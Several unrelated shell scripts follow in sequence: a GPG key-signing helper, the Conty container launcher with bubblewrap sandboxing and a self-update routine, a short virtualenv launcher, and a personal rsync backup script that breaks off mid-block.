<filename>sign.sh
#!/bin/bash -eu

# Copyright (C) <NAME> <<EMAIL>>
# SPDX-License-Identifier: BSD-2-Clause

#################################
# Configurations

# Change this!
#readonly policyUrl="http://mats.mexit.se/files/gpg-signature-policy.md"
#readonly signingKeyId=<KEY>

# Be verbose, 0 = false, 1 = true
readonly verbose=0

#################################
# End of configurations

# Sign all keys found as files with .gpg as extension in the current working
# directory. All signed key files are written to "out" sub-directory to
# current working directory.
#
# Syntax:
#   sign.sh

# Determine gpg verbose parameter
case $verbose in
    0) VERB="-q" ;;
    1) VERB="" ;;
    2) VERB="-v" ;;
    *) VERB="-vv" ;;
esac

# Working directory, cleaned up at exit
readonly wdir=$(mktemp -d -t sign.XXXXXXXXXX)

# Output directory, this is where all resulting files are placed
readonly odir="$(pwd)/out"

# GPG command with ubiquitous parameters
readonly GPG="$(which gpg2)"

# Make sure GPG uses the correct TTY
export GPG_TTY=$(tty)

# Function run when exiting script
function finish {
    rm -rf "$wdir"
}

# Make sure above function is run when script exits
trap finish EXIT

# Import key file, sign the key, and export to a keyfile in the working
# directory

# Export key to be signed including signature for given uid.
# Key will be exported to a file encrypted by the key to be signed.
#
# Assumptions:
#   The key is found in ${wdir}/${keyid}.gpg, which should be done by signKey()

createSignature() {
    declare -r keyid="$1"
    declare -r uid="$2"
    declare -r uidIdx="$3"
    declare -r keyfile="$4"

    # E-mail part of uid
    declare -r email=$(echo "$uid" | sed -r 's/.*<(.*)>.*/\1/')

    # Keyring to use while working with the key
    declare -r keyring="${wdir}/${keyid}.${uidIdx}.keyring"

    # If no email, then nothing to do
    [[ -z $email ]] && return 0

    $GPG $VERB --yes --no-default-keyring --keyring ${keyring} --import ${keyfile}

    declare -r fullKeyId=$($GPG $VERB --yes --no-default-keyring --keyring ${keyring}  --with-colons --list-keys ${keyid} | egrep '^pub:' -m 1 | sed -r 's/^.*:(.*?):.*:.*:.*:.*:.*:.*:.*:$/\1/')

    declare -a uids

    # Get list of all uids in the key
    IFS='
' uids=($($GPG $VERB --yes --no-default-keyring --keyring ${keyring} --with-colons --list-keys ${keyid} | sed -rn 's/^uid:.*:(.*):$/\1/p'))

    # Filter out unwanted uids
    declare -ia removeUids=()
    declare -i idx
    for (( idx = 0; idx < ${#uids[@]}; idx++ )); do
	if [[ ${uids[idx]} != $uid ]]; then
	    # Unwanted uid, mark for removal
	    removeUids+=($(( idx+1 )) )
	fi
    done

    [[ ${#removeUids[@]} > 0 ]] && $GPG $VERB --yes --no-default-keyring --keyring ${keyring} --key-edit ${keyid} ${removeUids[@]:-} deluid save

    # File name of key to create
    declare -r keyfileToCreate="${odir}/${fullKeyId}.${uidIdx}-signed-by-${signingKeyId}.asc"

    # Export key now containing only the wanted uid
    $GPG $VERB --yes --no-default-keyring --keyring ${keyring} --output ${keyfileToCreate} --armor --export ${keyid}

    printf "\n---- ${keyfileToCreate}: Created ----\n\n"
}

signKey() {
    declare -r keyid="$1"

    declare -r keyfile="${wdir}/${keyid}.gpg"

    # Import key from file to working keyring
    $GPG $VERB --yes --import ${keyid}.gpg

    # Remove others signatures
    $GPG $VERB --yes --edit-key ${keyid} clean minimize save

    # Add our own signature
    $GPG $VERB --yes --sig-policy-url ${policyUrl}  --default-key ${signingKeyId} --sign-key ${keyid}

    # Export to a new key file from keyring
    $GPG $VERB --yes --output ${keyfile} --export ${keyid}

    declare -a uids

    # Get list of all uids in the key
    IFS='
' uids=($($GPG $VERB --yes --with-colons --list-keys ${keyid} | sed -rn 's/^uid:[-mfuws]:.*:(.*):$/\1/p'))

    declare -i idx
    for (( idx = 0; idx < ${#uids[@]}; idx++ )); do
	createSignature "${keyid}" "${uids[idx]}" "$(( idx+1 ))" "${keyfile}"
    done
}

#
# Main function
#

# Check that the policy URL is correct
read -p "$policyUrl: Enter 'y' if this is the correct policy URL: " -n 1 answer
echo
[[ $answer != y ]] && {
   printf "ABORTING\n"
   exit 1
}

# Copy GNUPG configuration, so we do not alter the original one
mkdir ${wdir}/gnupg
cp -r ${GNUPGHOME:-~/.gnupg}/* ${wdir}/gnupg

# Start using our own GNUPG configuration
export GNUPGHOME=${wdir}/gnupg

# Ensure correct access rights to gnupg directory
chmod 0700 $GNUPGHOME

# Create output directory, if needed
mkdir -p ${odir}

# Iterate all GPG files in current directory
for file in *.gpg; do
    keyid=$(basename $file .gpg)
    signKey "$keyid" || printf "**** WARNING: Key ${keyid} not signed!\n" >&2
done


#!/usr/bin/env bash

## Dependencies: bash gzip fuse2 (or fuse3) tar coreutils

# Prevent launching as root
if [ $EUID = 0 ] && [ -z "$ALLOW_ROOT" ]; then
	echo "Do not run this script as root!"
	echo
	echo "If you really need to run it as root and you know what you are doing,"
	echo "set ALLOW_ROOT environment variable."

	exit 1
fi

script_version="1.18.1"

# Full path to the script
script_literal="${BASH_SOURCE[0]}"
script_name="$(basename "${script_literal}")"
script="$(readlink -f "${script_literal}")"

# MD5 of the last 1 MB of the file
script_md5="$(tail -c 1000000 "${script}" | md5sum | head -c 7)"

script_id="${RANDOM}"

# Working directory where the utils will be extracted
# And where the image will be mounted
# The default path is /tmp/scriptname_username_scriptmd5
# And if /tmp is mounted with noexec, the default path
# is ~/.local/share/Conty/scriptname_username_scriptmd5
conty_dir_name="$(basename "${script}")"_"${USER}"_"${script_md5}"

if  [ -z "${BASE_DIR}" ]; then
	export working_dir=/tmp/"${conty_dir_name}"
else
	export working_dir="${BASE_DIR}"/"${conty_dir_name}"
fi

mount_point="${working_dir}"/mnt

# It's important to set correct sizes below, otherwise there will be
# a problem with mounting the image due to an incorrectly calculated offset.

# The size of this script
scriptsize=25224

# The size of the utils archive
utilssize=2850852

# Offset where the image is stored
offset=$((scriptsize+utilssize))

# Set to 1 if you are using an image compressed with dwarfs instead of squashfs
#
# Also, don't forget to change the utilssize variable to the size of
# utils_dwarfs.tar.gz
dwarfs_image=0

dwarfs_cache_size="128M"
dwarfs_num_workers="2"

# These arguments are used to rebuild the image when using the self-update function
squashfs_comp_arguments="-b 256K -comp zstd -Xcompression-level 14"
dwarfs_comp_arguments="-l7 -C zstd:level=19 --metadata-compression null \
                       -S 22 -B 2 --order nilsimsa:255:40000:40000 \
                       --bloom-filter-size 11 -W 15 -w 3"

if [ "$1" = "--help" ] || [ "$1" = "-h" ] || ([ -z "$1" ] && [ ! -L "${script_literal}" ]); then
	echo "Usage: ./conty.sh command command_arguments"
	echo
	echo "Arguments:"
	echo
	echo -e "-v \tShow version of this script"
	echo -e "-V \tShow version of the image"
	echo -e "-e \tExtract the image"
	echo -e "-o \tShow the image offset"
	echo -e "-l \tShow a list of all installed packages"
	echo -e "-m \tMount/unmount the image"
	echo -e "\tThe image will be mounted if it's not mounted, and unmounted otherwise."
	echo -e "\tMount point can be changed with the BASE_DIR env variable"
	echo -e "\t(the default is /tmp)."
	echo -e "-u \tUpdate all packages inside the container"
	echo -e "\tThis will update all packages inside the container and will rebuild"
	echo -e "\tthe image. This may take quite a lot of time, depending"
	echo -e "\ton your hardware and internet speed. Additional disk space"
	echo -e "\t(about 6x the size of the current file) is needed during"
	echo -e "\tthe update process."
	echo -e "-U \tThe same as -u but will also update the init script (conty-start.sh)"
	echo -e "\tand the integrated utils. This option may break Conty in some cases,"
	echo -e "\tuse with caution."
	echo
	echo "Arguments that don't match any of the above will be passed directly to"
	echo "bubblewrap. So all bubblewrap arguments are supported as well."
	echo
	echo "Environment variables:"
	echo
	echo -e "DISABLE_NET \tDisables network access"
	echo -e "SANDBOX \tEnables sandbox"
	echo -e "SANDBOX_LEVEL \tControls the strictness of the sandbox"
	echo -e "\t\tAvailable levels are 1-3. The default is 1."
	echo -e "\t\tLevel 1 isolates all user files."
	echo -e "\t\tLevel 2 isolates all user files, disables dbus and hides"
	echo -e "\t\tall running processes."
	echo -e "\t\tLevel 3 does the same as the level 2, but additionally"
	echo -e "\t\tdisables network access and isolates X11 server with Xephyr."
	echo -e "XEPHYR_SIZE \tSets the size of the Xephyr window. The default is 800x600."
	echo -e "BIND \t\tMounts directories and files (separated by space) from the"
	echo -e "\t\thost system to the container. All specified items must exist."
	echo -e "\t\tFor example, BIND=\"/home/username/.config /etc/pacman.conf\""
	echo -e "\t\tThis is mainly useful for allowing access to specific"
	echo -e "\t\tdirs/files when SANDBOX is enabled."
	echo -e "BIND_RO \tThe same as BIND but mounts as read-only."
	echo -e "HOME_DIR \tSets the HOME directory to a custom location."
	echo -e "\t\tFor example, HOME_DIR=\"/home/username/custom_home\""
	echo -e "\t\tIf you set this, HOME inside the container will still appear"
	echo -e "\t\tas /home/username, but actually a custom directory will be"
	echo -e "\t\tused for it."
	echo -e "USE_SYS_UTILS \tMakes the script to use squashfuse/dwarfs and bwrap"
	echo -e "\t\tinstalled on the system instead of the builtin ones."
	echo -e "SUDO_MOUNT \tMakes the script to mount the squashfs image by using"
	echo -e "\t\tthe regular mount command instead of squashfuse. In this"
	echo -e "\t\tcase root rights will be requested (via sudo) when mounting"
	echo -e "\t\tand unmounting. This doesn't work for dwarfs-compressed images."
	echo -e "BASE_DIR \tSets a custom directory where Conty will extract"
	echo -e "\t\tits builtin utilities and mount the image."
	echo -e "\t\tThe default location is /tmp."
	echo -e "QUIET_MODE \tDisables all non-error Conty messages."
	echo -e "\t\tDoesn't affect the output of applications."
	echo
	echo "Additional notes:"
	echo
	echo "If you enable SANDBOX but don't set BIND or HOME_DIR, then no system"
	echo "directories/files will be available at all inside the container and a fake"
	echo "temporary HOME directory will be used."
	echo
	echo "Which SANDBOX_LEVEL to use? Well, if you just want to isolate your files from"
	echo "an application, then the level 1 (default) is enough. However, if an"
	echo "application doesn't strictly require dbus and doesn't need to communicate with"
	echo "other processes, then i recommend to use at least the level 2, which"
	echo "is more secure and is better for running untrusted or malicious apps. And"
	echo "for maximum protection use the level 3 (or Wayland + level 2), which protects"
	echo "even against X11 keyloggers. Disabling internet access with DISABLE_NET is also"
	echo "a very good idea if an application does not require constant internet access."
	echo
	echo "If the script is a symlink to itself but with a different name,"
	echo "then the symlinked script will automatically run a program according"
	echo "to its name. For instance, if the script is a symlink with the name \"wine\","
	echo "then it will automatically run wine during launch."
	echo
	echo "Besides updating all packages, you can also remove and install packages using"
	echo "the same -u (or -U) argument. To install packages add them as additional"
	echo "arguments, and to remove packages add a minus sign (-) before their names."
	echo "To install: ./conty.sh -u pkgname1 pkgname2 pkgname3"
	echo "To remove: ./conty.sh -u -pkgname1 -pkgname2 -pkgname3"
	echo "In this case Conty will update all packages and will additionally"
	echo "install and/or remove specified packages."
	echo
	echo "If you are using an Nvidia GPU, please read the information"
	echo "here: https://github.com/Kron4ek/Conty#known-issues"
	exit
elif [ "$1" = "-v" ]; then
	echo "${script_version}"

	exit
elif [ "$1" = "-e" ]; then
	if [ "${dwarfs_image}" = 1 ]; then
		if command -v dwarfsextract 1>/dev/null; then
			mkdir "$(basename "${script}")"_files

			dwarfsextract -i "${script}" -o "$(basename "${script}")"_files -O ${offset}
		else
			echo "To extract the image install dwarfs."
		fi
	else
		if command -v unsquashfs 1>/dev/null; then
			unsquashfs -o ${offset} -user-xattrs -d "$(basename "${script}")"_files "${script}"
		else
			echo "To extract the image install squashfs-tools."
		fi
	fi

	exit
elif [ "$1" = "-o" ]; then
	echo ${offset}

	exit
fi

show_msg () {
	if [ "${QUIET_MODE}" != 1 ]; then
		echo "$@"
	fi
}

exec_test () {
	mkdir -p "${working_dir}"

	exec_test_file="${working_dir}"/exec_test

	rm -f "${exec_test_file}"
	touch "${exec_test_file}"
	chmod +x "${exec_test_file}"

	[ -x "${exec_test_file}" ]
}

launch_wrapper () {
	if [ "$1" = "mount" ]; then
		${use_sudo} "$@"
	elif [ "${USE_SYS_UTILS}" = 1 ]; then
		"$@"
	else
		"${working_dir}"/utils/ld-linux-x86-64.so.2 --library-path "${working_dir}"/utils "$@"
	fi
}

# Disable the regular mount command when using a dwarfs-compressed image
# because Linux kernel doesn't support dwarfs directly, only via FUSE
if [ "${dwarfs_image}" = 1 ]; then
	unset SUDO_MOUNT
fi

# Check if FUSE is installed when SUDO_MOUNT is not enabled
if [ "${SUDO_MOUNT}" != 1 ]; then
	if ! command -v fusermount3 1>/dev/null && ! command -v fusermount 1>/dev/null; then
		echo "Please install fuse2 or fuse3 and run the script again."
		exit 1
	fi

	if command -v fusermount3 1>/dev/null; then
		fuse_version=3
	fi
fi

# Set the dwarfs block cache size depending on how much RAM is available
# Also set the number of workers depending on the number of CPU cores
if [ "${dwarfs_image}" = 1 ]; then
	if getconf _PHYS_PAGES &>/dev/null && getconf PAGE_SIZE &>/dev/null; then
		memory_size="$(($(getconf _PHYS_PAGES) * $(getconf PAGE_SIZE) / (1024 * 1024)))"

		if [ "${memory_size}" -ge 23000 ]; then
			dwarfs_cache_size="2048M"
		elif [ "${memory_size}" -ge 15000 ]; then
			dwarfs_cache_size="1024M"
		elif [ "${memory_size}" -ge 7000 ]; then
			dwarfs_cache_size="512M"
		elif [ "${memory_size}" -ge 3000 ]; then
			dwarfs_cache_size="256M"
		elif [ "${memory_size}" -ge 1500 ]; then
			dwarfs_cache_size="128M"
		else
			dwarfs_cache_size="64M"
		fi
	fi

	if getconf _NPROCESSORS_ONLN &>/dev/null; then
		dwarfs_num_workers="$(getconf _NPROCESSORS_ONLN)"

		if [ "${dwarfs_num_workers}" -ge 16 ]; then
			dwarfs_num_workers=16
		fi
	fi
fi

# Extract utils.tar.gz
mkdir -p "${working_dir}"

if [ "${USE_SYS_UTILS}" != 1 ]; then
	# Check if filesystem of the working_dir is mounted without noexec
	if ! exec_test; then
		if [ -z "${BASE_DIR}" ]; then
			export working_dir="${HOME}"/.local/share/Conty/"${conty_dir_name}"
			mount_point="${working_dir}"/mnt
		fi

		if ! exec_test; then
			echo "Seems like /tmp is mounted with noexec or you don't have write access!"
			echo "Please remount it without noexec or set BASE_DIR to a different location."

			exit 1
		fi
	fi

	if ! command -v tar 1>/dev/null || ! command -v gzip 1>/dev/null; then
		echo "Please install tar and gzip and run the script again."
		exit 1
	fi

	if [ "${dwarfs_image}" = 1 ]; then
		mount_tool="${working_dir}"/utils/dwarfs${fuse_version}
	else
		mount_tool="${working_dir}"/utils/squashfuse${fuse_version}
	fi

	bwrap="${working_dir}"/utils/bwrap

	if [ ! -f "${mount_tool}" ] || [ ! -f "${bwrap}" ]; then
		tail -c +$((scriptsize+1)) "${script}" | head -c ${utilssize} | tar -C "${working_dir}" -zxf -

		if [ ! -f "${mount_tool}" ] || [ ! -f "${bwrap}" ]; then
			clear
			echo "The integrated utils were not extracted!"
			echo "Perhaps something is wrong with the integrated utils.tar.gz."

			exit 1
		fi

		chmod +x "${mount_tool}"
		chmod +x "${bwrap}"
	fi
else
	if ! command -v bwrap 1>/dev/null; then
		echo "USE_SYS_UTILS is enabled, but bubblewrap is not installed!"
		echo "Please install it and run the script again."

		exit 1
	fi

	bwrap=bwrap

	if [ "${dwarfs_image}" = 1 ]; then
		if ! command -v dwarfs 1>/dev/null && ! command -v dwarfs2 1>/dev/null; then
			echo "USE_SYS_UTILS is enabled, but dwarfs is not installed!"
			echo "Please install it and run the script again."

			exit 1
		fi

		if command -v dwarfs2 1>/dev/null; then
			mount_tool=dwarfs2
		else
			mount_tool=dwarfs
		fi
	else
		if ! command -v squashfuse 1>/dev/null && [ "${SUDO_MOUNT}" != 1 ]; then
			echo "USE_SYS_UTILS is enabled, but squshfuse is not installed!"
			echo "Please install it and run the script again."
			echo "Or enable SUDO_MOUNT to mount the image using the regular"
			echo "mount command instead of squashfuse."

			exit 1
		fi

		mount_tool=squashfuse
	fi

	show_msg "Using system-wide ${mount_tool} and bwrap"
fi

if [ "${SUDO_MOUNT}" = 1 ]; then
	show_msg "Using regular mount command (sudo mount) instead of squashfuse"

	mount_tool=mount
	use_sudo=sudo
fi

if [ "$1" = "-u" ] || [ "$1" = "-U" ]; then
	OLD_PWD="${PWD}"

	# Check if the current directory is writable
	# And if it's not, use ~/.local/share/Conty as a working directory
	if ! touch test_rw 2>/dev/null; then
		update_temp_dir="${HOME}"/.local/share/Conty/conty_update_temp
	else
		update_temp_dir="${OLD_PWD}"/conty_update_temp
	fi
	rm -f test_rw

	# Remove conty_update_temp directory if it already exists
	chmod -R 700 "${update_temp_dir}" 2>/dev/null
	rm -rf "${update_temp_dir}"

	mkdir -p "${update_temp_dir}"
	cd "${update_temp_dir}" || exit 1

	tail -c +$((scriptsize+1)) "${script}" | head -c ${utilssize} | tar -C "${update_temp_dir}" -zxf -

	if [ "${dwarfs_image}" = 1 ]; then
		chmod +x utils/dwarfsextract 2>/dev/null
		chmod +x utils/mkdwarfs 2>/dev/null

		if [ ! -x "utils/dwarfsextract" ] || [ ! -x "utils/mkdwarfs" ]; then
			missing_utils="dwarfsextract and/or mkdwarfs"
		fi
	else
		chmod +x utils/unsquashfs 2>/dev/null
		chmod +x utils/mksquashfs 2>/dev/null

		if [ ! -x "utils/unsquashfs" ] || [ ! -x "utils/mksquashfs" ]; then
			missing_utils="unsquashfs and/or mksquashfs"
		fi
	fi

	if [ -n "${missing_utils}" ]; then
		echo "The integrated utils don't contain ${missing_utils}."
		echo "Or your file system is mounted with noexec."
		exit 1
	fi

	tools_wrapper () {
		"${update_temp_dir}"/utils/ld-linux-x86-64.so.2 --library-path "${update_temp_dir}"/utils "$@"
	}

	# Since Conty is used here to update itself, it's necessary to disable
	# some environment variables for this to work properly
	unset DISABLE_NET
	unset HOME_DIR
	unset BIND
	unset BIND_RO
	unset SANDBOX_LEVEL

	# Enable SANDBOX
	export SANDBOX=1

	export QUIET_MODE=1

	# Extract the image
	clear
	echo "Extracting the image"
	if [ "${dwarfs_image}" = 1 ]; then
		mkdir sqfs
		tools_wrapper "${update_temp_dir}"/utils/dwarfsextract \
		-i "${script}" -o sqfs -O ${offset} --cache-size "${dwarfs_cache_size}" \
		--num-workers "${dwarfs_num_workers}"
	else
		tools_wrapper "${update_temp_dir}"/utils/unsquashfs \
		-o ${offset} -user-xattrs -d sqfs "${script}"
	fi

	# Download or extract the utils.tar.gz and the init script depending
	# on what command line argument is used (-u or -U)
	clear
	if [ "$1" = "-U" ] && command -v wget 1>/dev/null; then
		if [ "${dwarfs_image}" = 1 ]; then
			utils="utils_dwarfs.tar.gz"
		else
			utils="utils.tar.gz"
		fi

		echo "Downloading the init script and the utils"
		wget -q --show-progress "https://github.com/Kron4ek/Conty/raw/master/conty-start.sh"
		wget -q --show-progress -O utils.tar.gz "https://github.com/Kron4ek/Conty/raw/master/${utils}"
	fi

	if [ ! -s conty-start.sh ] || [ ! -s utils.tar.gz ]; then
		echo "Extracting the init script and the integrated utils"
		tail -c +$((scriptsize+1)) "${script}" | head -c ${utilssize} > utils.tar.gz
		head -c ${scriptsize} "${script}" > conty-start.sh
	fi

	# Check if there are additional arguments passed
	shift
	if [ -n "$1" ]; then
		packagelist="$@"

		# Check which packages to install and which ones to remove
		for i in ${packagelist}; do
			if [ "$(echo "${i}" | head -c 1)" = "-" ]; then
				export pkgsremove="${pkgsremove} $(echo "${i}" | tail -c +2)"
			else
				export pkgsinstall="${pkgsinstall} ${i}"
			fi
		done
	fi

	# Generate a script to perform inside Conty
	# It updates Arch mirrorlist
	# Updates keyrings
	# Updates all installed packages
	# Installs additional packages (if requested)
	# Removes packages (if requested)
	# Clears package cache
	# Updates SSL CA certificates
	# Generates locales
	cat <<EOF > container-update.sh
reflector --protocol https --score 5 --sort rate --save /etc/pacman.d/mirrorlist
fakeroot -- pacman -Syy 2>/dev/null
date -u +"%d-%m-%Y %H:%M (DMY UTC)" > /version
fakeroot -- pacman --noconfirm -S archlinux-keyring 2>/dev/null
fakeroot -- pacman --noconfirm -S chaotic-keyring 2>/dev/null
rm -rf /etc/pacman.d/gnupg
fakeroot -- pacman-key --init
echo "keyserver hkps://keyserver.ubuntu.com" >> /etc/pacman.d/gnupg/gpg.conf
fakeroot -- pacman-key --populate archlinux
fakeroot -- pacman-key --populate chaotic
fakeroot -- pacman --noconfirm --overwrite "*" -Su 2>/dev/null
fakeroot -- pacman --noconfirm -Runs ${pkgsremove} 2>/dev/null
fakeroot -- pacman --noconfirm -S ${pkgsinstall} 2>/dev/null
rm -f /var/cache/pacman/pkg/*
pacman -Qn > /pkglist.x86_64.txt
pacman -Qm >> /pkglist.x86_64.txt
update-ca-trust
locale-gen
EOF

    rm -f sqfs/etc/resolv.conf
    cp /etc/resolv.conf sqfs/etc/resolv.conf
    mkdir -p sqfs/run/shm

	# Execute the previously generated script
	clear
	echo "Updating and installing packages"
	bash "${script}" --bind sqfs / --ro-bind /sys /sys --dev-bind /dev /dev \
				--proc /proc --bind "${update_temp_dir}" "${update_temp_dir}" \
				bash container-update.sh

	# Create an image
	clear
	echo "Creating an image"
	if [ "${dwarfs_image}" = 1 ]; then
		tools_wrapper "${update_temp_dir}"/utils/mkdwarfs \
		-i sqfs -o image ${dwarfs_comp_arguments}
	else
		tools_wrapper "${update_temp_dir}"/utils/mksquashfs \
		sqfs image ${squashfs_comp_arguments}
	fi

	# Combine into a single executable
	clear
	echo "Combining everything into a single executable"
	cat conty-start.sh utils.tar.gz image > conty_updated.sh
	chmod +x conty_updated.sh

	mv -f "${script}" "${script}".old."${script_md5}" 2>/dev/null
	mv -f conty_updated.sh "${script}" 2>/dev/null || move_failed=1

	if [ "${move_failed}" = 1 ]; then
		mv -f conty_updated.sh "${OLD_PWD}" 2>/dev/null || \
		mv -f conty_updated.sh "${HOME}" 2>/dev/null
	fi

	chmod -R 700 sqfs 2>/dev/null
	rm -rf "${update_temp_dir}"

	clear
	echo "Conty has been updated!"

	if [ "${move_failed}" = 1 ]; then
		echo
		echo "Replacing ${script} with the new one failed!"
		echo
		echo "You can find conty_updated.sh in the current working"
		echo "directory or in your HOME."
	fi

	exit
fi

run_bwrap () {
	unset sandbox_params
	unset unshare_net
	unset custom_home
	unset bind_items

	if [ -n "${WAYLAND_DISPLAY}" ]; then
		wayland_socket="${WAYLAND_DISPLAY}"
	else
		wayland_socket="wayland-0"
	fi

	if [ -z "${XDG_RUNTIME_DIR}" ]; then
		XDG_RUNTIME_DIR="/run/user/${EUID}"
	fi

	if [ "${SANDBOX}" = 1 ]; then
		sandbox_params="--tmpfs /home \
                        --dir ${HOME} \
                        --tmpfs /opt \
                        --tmpfs /mnt \
                        --tmpfs /media \
                        --tmpfs /var \
                        --tmpfs /run \
                        --symlink /run /var/run \
                        --tmpfs /tmp \
                        --new-session"

		if [ -n "${SANDBOX_LEVEL}" ] && [ "${SANDBOX_LEVEL}" -ge 2 ]; then
			sandbox_level_msg="(level 2)"
			sandbox_params="${sandbox_params} \
                            --dir ${XDG_RUNTIME_DIR} \
                            --ro-bind-try ${XDG_RUNTIME_DIR}/${wayland_socket} ${XDG_RUNTIME_DIR}/${wayland_socket} \
                            --ro-bind-try ${XDG_RUNTIME_DIR}/pulse ${XDG_RUNTIME_DIR}/pulse \
                            --ro-bind-try ${XDG_RUNTIME_DIR}/pipewire-0 ${XDG_RUNTIME_DIR}/pipewire-0 \
                            --unshare-pid \
                            --unshare-user-try \
                            --unsetenv DBUS_SESSION_BUS_ADDRESS"
		else
			sandbox_level_msg="(level 1)"
			sandbox_params="${sandbox_params} \
                            --bind-try ${XDG_RUNTIME_DIR} ${XDG_RUNTIME_DIR} \
                            --bind-try /run/dbus /run/dbus"
		fi

		if [ -n "${SANDBOX_LEVEL}" ] && [ "${SANDBOX_LEVEL}" -ge 3 ]; then
			sandbox_level_msg="(level 3)"
			DISABLE_NET=1
			sandbox_params="${sandbox_params} \
                            --ro-bind-try /tmp/.X11-unix/X${xephyr_display} /tmp/.X11-unix/X${xephyr_display} \
                            --setenv DISPLAY :${xephyr_display}"
		else
			sandbox_params="${sandbox_params} \
                            --ro-bind-try /tmp/.X11-unix /tmp/.X11-unix"
		fi

		show_msg "Sandbox is enabled ${sandbox_level_msg}"
	fi

	if [ "${DISABLE_NET}" = 1 ]; then
		show_msg "Network is disabled"

		unshare_net="--unshare-net"
	fi

	if [ -n "${HOME_DIR}" ]; then
		show_msg "Set home directory to ${HOME_DIR}"

		custom_home="--bind ${HOME_DIR} ${HOME}"
	fi

	if [ -n "${BIND}" ]; then
		show_msg "Mounted items: ${BIND}"

		for i in ${BIND}; do
			bind_items="${bind_items} --bind ${i} ${i}"
		done
	fi

	if [ -n "${BIND_RO}" ]; then
		show_msg "Read-only mounted items: ${BIND_RO}"

		for i in ${BIND_RO}; do
			bind_items="${bind_items} --ro-bind ${i} ${i}"
		done
	fi

	# Set the XAUTHORITY variable if it's missing (which is unlikely)
	if [ -z "${XAUTHORITY}" ]; then
		XAUTHORITY="${HOME}"/.Xauthority
	fi

	show_msg

	launch_wrapper "${bwrap}" \
			--ro-bind "${mount_point}" / \
			--dev-bind /dev /dev \
			--ro-bind /sys /sys \
			--bind-try /tmp /tmp \
			--proc /proc \
			--bind-try /home /home \
			--bind-try /mnt /mnt \
			--bind-try /opt /opt \
			--bind-try /media /media \
			--bind-try /run /run \
			--bind-try /var /var \
			--ro-bind-try /usr/share/steam/compatibilitytools.d /usr/share/steam/compatibilitytools.d \
			--ro-bind-try /etc/resolv.conf /etc/resolv.conf \
			--ro-bind-try /etc/hosts /etc/hosts \
			--ro-bind-try /etc/nsswitch.conf /etc/nsswitch.conf \
			--ro-bind-try /etc/passwd /etc/passwd \
			--ro-bind-try /etc/group /etc/group \
			--ro-bind-try /etc/machine-id /etc/machine-id \
			--ro-bind-try /etc/asound.conf /etc/asound.conf \
			--ro-bind-try /etc/localtime /etc/localtime \
			${sandbox_params} \
			${custom_home} \
			${bind_items} \
			${unshare_net} \
			--ro-bind-try "${XAUTHORITY}" "${XAUTHORITY}" \
			--setenv PATH "${CUSTOM_PATH}" \
			"$@"
}

trap_exit () {
	rm -f "${working_dir}"/running_"${script_id}"

	if [ ! "$(ls "${working_dir}"/running_* 2>/dev/null)" ]; then
		fusermount${fuse_version} -uz "${mount_point}" 2>/dev/null || \
		${use_sudo} umount --lazy "${mount_point}" 2>/dev/null

		rm -rf "${working_dir}"
	fi

	exit
}

trap 'trap_exit' EXIT

if [ "$(ls "${working_dir}"/running_* 2>/dev/null)" ] && [ ! "$(ls "${mount_point}" 2>/dev/null)" ]; then
	rm -f "${working_dir}"/running_*
fi

# Mount the image
mkdir -p "${mount_point}"

# Since mounting dwarfs images is relatively slow on HDDs, it's better
# to show a message when the mounting is in process
if [ "${dwarfs_image}" = 1 ] && [ ! "$(ls "${mount_point}" 2>/dev/null)" ]; then
	show_msg "Mounting the image, please wait..."
fi

if [ "$(ls "${mount_point}" 2>/dev/null)" ] || \
	( [ "${dwarfs_image}" != 1 ] && launch_wrapper "${mount_tool}" -o offset="${offset}",ro "${script}" "${mount_point}" ) || \
	launch_wrapper "${mount_tool}" "${script}" "${mount_point}" -o offset="${offset}" -o debuglevel=error -o workers="${dwarfs_num_workers}" \
	-o mlock=try -o no_cache_image -o cache_files -o cachesize="${dwarfs_cache_size}"; then

	if [ "$1" = "-m" ]; then
		if [ ! -f "${working_dir}"/running_mount ]; then
			echo 1 > "${working_dir}"/running_mount
			echo "The image has been mounted to ${mount_point}"
		else
			rm -f "${working_dir}"/running_mount
			echo "The image has been unmounted"
		fi

		exit
	fi

	if [ "$1" = "-V" ]; then
		if [ -f "${mount_point}"/version ]; then
			cat "${mount_point}"/version
		else
			echo "Unknown version"
		fi

		exit
	fi

	echo 1 > "${working_dir}"/running_"${script_id}"

	if [ "${dwarfs_image}" = 1 ] && [ "${QUIET_MODE}" != 1 ]; then
		clear
	fi

	show_msg "Running Conty"

	export CUSTOM_PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/lib/jvm/default/bin:/usr/local/bin:/usr/local/sbin:${PATH}"

	if [ "$1" = "-l" ]; then
		run_bwrap --ro-bind "${mount_point}"/var /var \
                  bash -c "pacman -Qn; pacman -Qm"
		exit
	fi

	# If SANDBOX_LEVEL is 3, run Xephyr and openbox before running applications
	if [ "${SANDBOX}" = 1 ] && [ -n "${SANDBOX_LEVEL}" ] && [ "${SANDBOX_LEVEL}" -ge 3 ]; then
		if [ -f "${mount_point}"/usr/bin/Xephyr ]; then
			if [ -z "${XEPHYR_SIZE}" ]; then
				XEPHYR_SIZE="800x600"
			fi

			xephyr_display="$((${script_id}+2))"

			if [ -S /tmp/.X11-unix/X${xephyr_display} ]; then
				xephyr_display="$((${script_id}+10))"
			fi

			QUIET_MODE=1 DISABLE_NET=1 SANDBOX_LEVEL=2 run_bwrap \
			--bind /tmp/.X11-unix /tmp/.X11-unix \
			Xephyr -noreset -ac -br -screen ${XEPHYR_SIZE} :${xephyr_display} &>/dev/null & sleep 1
			xephyr_pid=$!

			QUIET_MODE=1 run_bwrap openbox & sleep 1
		else
			echo "SANDBOX_LEVEL is set to 3, but Xephyr is not present inside the container."
			echo "Xephyr is required for this SANDBOX_LEVEL."

			exit 1
		fi
	fi

	if [ -L "${script_literal}" ] && [ -f "${mount_point}"/usr/bin/"${script_name}" ]; then
		export CUSTOM_PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/lib/jvm/default/bin"

		show_msg "Autostarting ${script_name}"
		run_bwrap "${script_name}" "$@"
	else
		run_bwrap "$@"
	fi

	if [ -n "${xephyr_pid}" ]; then
		wait ${xephyr_pid}
	fi
else
	echo "Mounting the image failed!"

	exit 1
fi

exit


#!/bin/bash

source ./env/bin/activate
python3 virtual_assistant.py


<gh_stars>1-10
#!/bin/bash
BACKUP="/run/media/daniel/BACKUP/"
~/.bin/mount-eHDD.sh

if [ -d $BACKUP ]; then
    rsync -ravz --partial /home/daniel/Documents $BACKUP
    rsync -ravz --partial /home/daniel/Projects $BACKUP
    rsync -ravz --partial /home/daniel/Downloads $BACKUP
